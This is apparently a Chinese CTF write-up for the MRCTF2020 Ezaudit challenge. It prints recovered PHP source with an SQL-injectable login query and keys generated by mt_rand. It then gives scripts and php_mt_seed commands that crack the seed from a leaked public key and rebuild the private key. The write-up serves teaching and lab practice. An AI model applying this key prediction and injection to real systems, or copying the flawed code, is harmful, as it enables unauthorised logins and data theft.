[MRCTF2020]Ezaudit
考点:php的伪随机数
好复杂的页面,搜索了一下php、form
等可能可以利用的字段无果,然后猜测有备份,果然尝试了一下www.zip
,里面有一个index.php
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
// $Public_key = public_key();
// $Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
代码中主要分为了三部分,看到mt_rand
我们应该能想到的就是伪随机数,通过已知的$Public_key = KVQP0LdJKRaV3n9D
和public_key()
我们来推算出seed
,然后再算出private_key
即可。
php伪随机数破解项目地址:https://github.com/openwall/php_mt_seed
通过README.md
我们来使用以下这个工具,打开Linux虚拟机
git clone https://github.com/openwall/php_mt_seed.git
cd php_mt_seed/
make
通过以上命令就可以使用php_mt_seed
了,然后我们需要怎么使用它呢?README
有这样一段话
php_mt_seed expects 1, 2, 4, or more numbers on its command line. The
numbers specify constraints on mt_rand() outputs.
When invoked with only 1 number, that's the first mt_rand() output to
find seeds for.
When invoked with 2 numbers, those are the bounds (minimum and maximum,
in that order) that the first mt_rand() output should fall within.
When invoked with 4 numbers, the first 2 give the bounds for the first
mt_rand() output and the second 2 give the range passed into mt_rand().
When invoked with 5 or more numbers, each group of 4 and then the last
group of 1, 2, or (usually) 4 are processed as above, where each group
refers to a corresponding mt_rand() output.
翻译过来的意思就是
php_mt_seed在使用时可以有1、2、4或者更多的参数
当只有1个参数时,通过mt_rand()的第一个输出找到种子。
当有2个参数时,它们是第一个mt_rand()输出应该在的范围(按顺序是最小值和最大值)。
当有4个参数时,前2给出mt_rand()第一个输出的边界和后2个给出传递给mt_rand()的范围。
当调用5个或更多的数字时,每组4个,然后是最后一组1、2或(通常)4,按上述方式处理,其中每组引用相应的mt_rand()输出。
对于这道题来说,mt_rand(0, strlen($strings1)
在生成密钥时有范围参数,所以我们需要用4个参数一组的形式来破解seed
,所以我们就写下了如下脚本。
<?php
function decode_mt(){
$public_key = str_split('KVQP0LdJKRaV3n9D');
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$decode_mt = '';
foreach ($public_key as $mt)
{
$decode_mt = (string)strpos($strings1, $mt);
echo $decode_mt.' '.$decode_mt.' 0 '.'61 ';
}
}
decode_mt();
然后我们使用工具进行爆破种子seed
,这里的time
是用来输出程序运行时间的
time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
得到seed = 0x69cf57fb = 1775196155
然后我们使用index.php
给出的代码进行生成私钥private_key
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key();
echo PHP_EOL;
echo private_key();
运行上述代码的时候一定要注意两点
php版本
一定要是在PHP 5.2.1 to 7.0.x
中,程序运行中给出了这个版本,不同版本通过种子生成随机数的算法不同- 一定要先输出一遍
public_key
,再输出private_key
,这样是为了确保种子生成随机数的顺序保持一致
然后直接使用万能钥匙就可以获得flag了,这里比较简单就不过多阐述了(这里被坑了,已知以为要给index.php
传参,还搞了半天